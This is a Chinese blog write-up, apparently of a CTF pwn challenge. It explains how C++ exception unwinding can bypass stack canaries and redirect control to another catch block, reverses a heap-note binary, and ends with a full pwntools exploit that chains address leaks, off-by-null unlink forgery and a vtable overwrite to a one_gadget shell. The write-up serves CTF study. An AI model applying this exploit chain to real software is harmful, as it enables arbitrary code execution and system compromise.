C++异常机制

人生的第一道C++

原理解析

什么是C++异常机制?

网上的文章并不算多,并且都是就题论题讲的,所以我理解的也不是很透彻,这里只能说把我理解的尽可能清楚地解释给大家,也不一定保证所有细节都正确,但至少从调试的角度来说,我说的大体上是没有问题的。

C++的异常机制主要通过try,catch,throw这三个关键字来实现,具体的实现方式这里就不多赘述了,可以自行百度B站,你需要知道的比较重要的点就是try递归式的向上回溯搜索。

   void func1()
{
    throw "you catch the error";
}
void func2()
{
    func1();
}
void func3()
{
    func2();
}
int main()
{
    //try1
    try:
        func3();
    catch(char *msg):
        printf(msg);
    //try2
    try:
        throw"hello";
    catch(char *msg):
        printf(msg);
    return 0;
}

这是一个逻辑很简单的c++代码,在主函数里调用了func3,而func3调用了func2,func2接着调用了func1,在func1里抛出了一个异常。在func1里没有catch到这个异常,就会栈回溯去搜索,到func2里看看也没有,就接着回溯到func3里,也没有,最后回溯到主函数,发现有一个能捕获char *类型的catch,于是程序会从catch下面的语句接着执行,也就是说控制流由func1移交给了catch下面的语句。

于是乎,在这里有两个很关键的点

1.rbp的变化

当在func1里throw一个异常之后,程序会立刻开始栈回溯,如果能够找到异常,那么就会移交程序的控制流,同时把try所在的函数的rbp改成当前的rbp,在上面的例子中就是main函数的rbp被改成了func1函数的rbp,同时func1,func2,func3函数的栈帧全部消亡,回退到了main函数的栈帧。并且这个机制,可以绕过canary的保护!就是说,如果我在func1里利用栈溢出修改了canary和rbp,接着在func1返回之前throw一个异常,那么回到main函数,rbp已经被修改了,但是canary保护却并没有触发,由此可以绕过canary。

2.retaddr

经过调试发现,func1在栈回溯寻找他隶属于那个try的时候,会根据返回地址来寻找,这就意味着我们如果修改返回地址到另一个try语句块里的代码,那么我们就可以执行另一个try的 catch语句,在上面这个例子中就可以体现为我利用栈溢出修改了func1的返回地址,让他指向try2语句块里的内容,那么栈回溯的时候我所找到的catch就是try2对应的catch。具体原理需要阅读源码才知道,我没读过源码,只是经验之谈。通过这个机制,我们可以在一定程度上执行程序内的任意代码。

题目分析

C++异常机制的程序逆向也很困难,因为try语句无法在反编译的C++代码中体现出来,只能阅读汇编去寻找,所以这次的题目分析会分析的比较仔细,一点一点的看汇编

从主函数入手,主体是一个堆,不过只有增删,没有改查

先看newnote

首先输入一个index,接着输入一个size,随后调用了build_note函数

首先分配了一个0x18大小的堆块,接着调用了Note类的Note构造函数

这里还会返回一个malloc error的错误,这个错误会在build_note函数里根据result的判断被抛出,回溯找找发现对size的检查只有size>0x1000会报错,如果size是负数并没有检查出来,所以这里如果用一个负的size会触发这个报错。

回过头来看build_note,当调用玩Note构造函数成功之后,会给tablepointertable这个结构体的成员赋值,这里的tablepointer是我自己逆出来的,其结构如下

 struct tablepointer{
    void *vtable;//虚表指针
    int size;//堆块的大小
    void *chunkaddr;//堆块的真实地址
}

nodelist和index都是全局变量,nodelist存放了所有堆块的指针,就是一个指针表

再回到new_note

成功build_note之后,会向堆块里输入数据

这里的inputbuf有一个明显的off by null漏洞

至此new_note分析完毕

再看delete_note

输入一个序号,然后把虚表清空,把0x18的堆块和自己申请的堆块全部释放掉,指针表也置零了,但是tablepointer那个结构体里指向真实堆地址的指针没有被清零。

然后是zoom_note

这个函数就比较有意思了,不是一个常规的函数

首先输入一个index,接着根据index寻找指针表,然后有个zoom_is_visited,这玩意就是个flag,说白了就是这里只能用1次。如果没用过,那么使用的时候会把你选择的堆块里的内容复制到栈上,dest的大小是264,在这里会存在一个溢出

那么如果利用这里去修改rbp和返回地址,那么在接下来输入v6的时候把v6输成0,就可以触发除0错误从而栈回溯绕过canary了。如果不是0,那么程序接下来会调用这个函数的虚表函数,经过动态调试可以知道这个函数是reamalloc。

三个主要的函数分析完了,我们接下来来分析一下try,catch的部分。

try,catch分析

异常机制的题目要找catch不要找try,因为由于反汇编的问题,可能会出现好几个try,毕竟try是递归寻找的,但是catch的数目是和源代码一样的,所以先找catch,再找catch对应的try

这题一共有两个catch,分别在主函数和build_note函数里

注意,主函数里的catch下面紧跟着一个try,这个try忽视,因为没有与之对应的catch,我们看到这个catch是属于2f32的

这个try对应着主函数里几个核心的函数

另一个try在调用build_note之前,他也有自己对应的catch,眼尖的你可能会发现,这个catch后面还有一个gift函数,也就是说,如果程序被这个catch捕获,会顺序执行到call gift这里,那么我们来看看gift有什么东西

一个泄露stackaddr和codebase的gift

如果你在顺着往下看,你会发现更大的惊喜

在执行完gift之后,还会泄露出堆地址(%p泄露)和堆的内容,并且这个内容是利用write写出来的,所以不需要考虑字符串截断的问题,那么如果这个堆块是一个已经释放了的堆,那么我们就可以泄露出libcbase和codebase

只不过这里还有两个检查

1.这里在检查notelist[index]是否为0,是的话就会跳转(jz:等于0跳转),从而不执行后面的东西,然而,如果是在先前分析的Note函数里,想要触发报错,那么必然是分配失败导致,所以这个判断永远通过不了,因此正常来说这后面的代码都不会被执行

2.第二个判断是在判断1成立的基础上检测当前堆块的size位是否大于0,否则跳转(js:负数跳转)

要注意的是,这里的tablepointer是根据rbp-0x20来确定的,所以要注意rbp值的选取

到这里,逆向分析的部分算是结束了

思路分析

这题没开沙箱,保护全开,捋一下几个漏洞

栈溢出+异常机制——可以实现任意try跳转并绕过canary

指针残留——泄露heapbase和libcbase

off by null——伪造堆块unlink

那么这题的思路就出来了,首先add一个size为-1的堆块触发异常,从而调用gift函数获得stackaddr和codebase,接着add一个大小合适的堆块,里面构造合适的payload,覆盖rbp,retaddr,其中rbp通过调试确定位置,retaddr返回到build_note的try块,从而触发输出堆地址和堆内容的语句,获得heapbase和libcbase,接着添加一些大堆块,在间隔释放使其进入unsortedbin,从而使堆块里面有libc地址,接着调用zoom_note触发异常机制,并跳转到另一个catch块,实现地址泄露,最后利用off by null伪造堆块,在申请出来,从而修改虚表指针,使其指向一个存放有onegadget地址的地址,最后在调用zoom_note调用虚表函数触发onegadget,最后getshell

最后对着exp一点一点来讲

首先是调用gift泄露

add(0,-1)
stackaddr=p.gift(b'stack addr: ')
codebase=p.gift(b'func addr: ')-0x27fb
print('stackaddr:',hex(stackaddr))
print('codebase:',hex(codebase))

接着添加几个堆块

add(1,0x430,p64(0)*34+p64(stackaddr)+p64(0x2979+codebase)+p64(0x2ED6+codebase)*8)
add(2,0x10,b'22222222')
add(3,0x440,b'33333333')
delete(2)
add(4,0x4f0,b'44444444')
delete(1)
delete(3)
add(1,0x430,b'')

这里讲的详细一点,首先add(1)不用多说了,先放一点rop,具体rop利用的方式我们放到后面来详细分析,接着add(2,0x10),这个0x10是有讲究的,因为tablepointer的大小是0x18,对应的size位是0x20,所以这里添加一个0x10大小的堆块,后面再删掉,那么就会有某一个堆块的tablepointer被放在这里释放后腾出的空来,从而使得后面两个unsortedbin大小的堆块物理相邻,才有off by null打堆溢出的可能,接着add(3),然后delete(2),在add(4)这里是为了防止3和topchunk合并,同时为接下来的off by null做准备,最后删掉1,3,此时1里面便残留了libc,只不过这时我们的nodelist里面是没有这个指针的,所以要再次add(1),把他的指针添加回来,这样,堆块里的数据我们就构造好了。

这里堆块4的大小是0x4f0,这里也是有讲究的,因为这里的size位是0x501,我们off by null覆盖之后size位变成0x500,大小不改变,堆结构不会混乱,否则会因为大小改变,堆结构混乱,找不到top chunk了,调试起来很不方便。

断点下载最后一个add后面看下

发现此时堆块已经物理相邻,是我们想要的效果

此时的堆块1如上,可以看到高位由于off by null被改成了00,不过不影响我们对libcbase的泄露

接着调用zoom_note,利用除0异常触发异常机制

choose(3)
p.sla(b'input index: ','1')
p.sla(b'zoom out times: ','0')
heapbase=p.gift(b'conflict note: ')-0x012400
p.rcvu(b'conflict note content: ')
libcbase=p.uu64()-0x1ecb00
print('libcbase:',hex(libcbase))
print('heapbase:',hex(heapbase))

那么我们回过头来分析一下payload是如何工作的

add(1,0x430,p64(0)*34+p64(stackaddr)+p64(0x2976+codebase)+p64(0x2ED6+codebase)*8)

这里面有几个要点:rbp地址,返回地址,和返回地址后面那坨目前暂时不知道是什么的东西,一个一个来讲。

首先是rbp,把他覆盖成接收到的stackaddr就行,保持一个合理的栈地址就行

接着是返回地址,返回地址覆盖成了call build_note这条指令+1的位置,为什么要加1呢?不知道,但是经过调试,必须要覆盖成这条指令到下一条指令之间的位置

即2976~2979之间的地址都是可以的(大概是因为这几个地址是真正包含在try里面的吧)

最后后面的p64(0x2ED6+codebase)*8是main函数的返回地址,经过调试发现,程序在执行完catch语句块的内容之后,会返回错误,而这个返回地址在栈上一定偏移处,这个偏移经过调试发现是8,从而在执行完catch语句块的内容之后返回main函数

想要的东西都泄露出来之后,我们需要进行伪造堆块,这里伪造一个大小为0x600的堆块,那么构造payload如下

delete(1)
add(1,0x430,p64(0x601)*94+p64(heapbase+0x012260+0x18)+p64(heapbase+0x012260+0x20)+2*p64(0)+p64(heapbase+0x012260))
add(5,0x448,b'\x00'*0x440+p64(0x600))
onegadgetaddr=heapbase+0x0123c0
onegadget=[libcbase+0xe3afe,libcbase+0xe3b01,libcbase+0xe3b04]

我们对照着gdb来讲解一下

可以看到,堆块4的pre size位被覆盖成了0x600,size位被改成了0x500(正常应该是0x501),off by null利用成功

再来看看根据pre size位找到的fake chunk在哪里

0x5650d967a860-0x600=0x5650d967a260

这个地址被我们伪造了一个恰当的size位,同时fd,bk也经过巧妙构造,为的是绕过unlink检查,注意280的位置是两个0,原因是因为如果这里有数据,又会进行fd_nextsize和bk_nextsize的unlink检查,为了减少麻烦,把这里置零,从而通过unlink检查。有关unlink检查的相关知识请读者自行查阅了解,也可以阅读我主页的博客。

这里先delete(1)再add(1)是因为堆块1在泄露出libcbase和heapbase之前已经被添加过了,所以再重新添加一次,为的是重新填写三个指针绕过unlink检查

调试发现,执行完上面payload之后,程序会直接进入new_note函数,具体原因不明,所以这里直接根据调试结果构造payload

p.sla(b'input index: ','8')
p.sla(b'input size: ','64')
p.sla(b'input content: ',b'888888888888')

接着删除堆块4,实现堆块伪造

delete(4)
add(6,0x300,b'\x00'*0x140+p64(0x440)+p64(0x21)+p64(onegadget[1])*3+p64(0x21)+p64(onegadgetaddr)+p64(0x30)+p64(0)+p64(0x21)+p64(onegadgetaddr)+p64(0x430))

利用成功,接下来我们只需要把刚才新添加的堆块8的虚表指针改成存放onegadget地址的地址即可,这个地址被写在add(6,0×300,b’\x00’*0x140+p64(0x440)+p64(0x21)+p64(onegadget[1])*3+p64(0x21)+p64(onegadgetaddr)+p64(0x30)+p64(0)+p64(0x21)+p64(onegadgetaddr)+p64(0x430))里面,调试即可找到

最后再次调用zoom_note函数,触发onegadget

choose(3)
p.sla(b'input index: ','8')
p.sla(b'zoom out times: ','65')

这里还有个细节,我们选用的onegadget如下

一开始我的payload是

choose(3)
p.sla(b'input index: ','8')
p.sla(b'zoom out times: ','1')

发现打不通,调试发现rdx是0x30不是0,而想要打通必须要满足rdx也是0(此时r15已经是0了),那么我们回过头去看看汇编,发现rdx由rbp-0x11C对应的值控制,这个值由我们输入的v6间接控制

所以我们要让v6大于这个堆块的size,也就是64,这样v8就被赋成了0,最后rdx也变成了0,从而成功利用onegadget

完整exp

from pwnplus import *
context.arch = 'amd64'
context.log_level = 'debug'
p=mypwn('./pwn')
libc=ELF('./libc-2.31.so')
elf=ELF('./pwn')
def choose(num):
    p.sla(b'input choice: ',str(num))

def add(index,size,content=None):
    choose(1)
    p.sla(b'input index: ',str(index))
    p.sla(b'input size: ',str(size))
    if content!=None:
        p.sla(b'input content: ',content)

def delete(index):
    choose(2)
    p.sla(b'input index: ',str(index))


add(0,-1)
stackaddr=p.gift(b'stack addr: ')
codebase=p.gift(b'func addr: ')-0x27fb
print('stackaddr:',hex(stackaddr))
print('codebase:',hex(codebase))
#------------------------leak--------------------------
pop_rdi=0x0000000000003273+codebase
pop_rsi_r15=0x0000000000003271+codebase
leave=0x0000000000002e9a+codebase
call_inputbuf=0x29b4+codebase
add(1,0x430,p64(0)*34+p64(stackaddr)+p64(0x2979+codebase)+p64(0x2ED6+codebase)*8)
add(2,0x10,b'22222222')
add(3,0x440,b'33333333')
delete(2)
add(4,0x4f0,b'44444444')
delete(1)
delete(3)
add(1,0x430,b'')
choose(3)
p.sla(b'input index: ','1')
p.sla(b'zoom out times: ','0')
heapbase=p.gift(b'conflict note: ')-0x012400
p.rcvu(b'conflict note content: ')
libcbase=p.uu64()-0x1ecb00
print('libcbase:',hex(libcbase))
print('heapbase:',hex(heapbase))

delete(1)
add(1,0x430,p64(0x601)*94+p64(heapbase+0x012260+0x18)+p64(heapbase+0x012260+0x20)+2*p64(0)+p64(heapbase+0x012260))
add(5,0x448,b'\x00'*0x440+p64(0x600))
onegadgetaddr=heapbase+0x0123c0
onegadget=[libcbase+0xe3afe,libcbase+0xe3b01,libcbase+0xe3b04]

p.sla(b'input index: ','8')
p.sla(b'input size: ','64')
p.sla(b'input content: ',b'888888888888')
delete(4)
add(6,0x300,b'\x00'*0x140+p64(0x440)+p64(0x21)+p64(onegadget[1])*3+p64(0x21)+p64(onegadgetaddr)+p64(0x30)+p64(0)+p64(0x21)+p64(onegadgetaddr)+p64(0x430))
choose(3)
p.sla(b'input index: ','8')
p.sla(b'zoom out times: ','65')

p.ia()
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇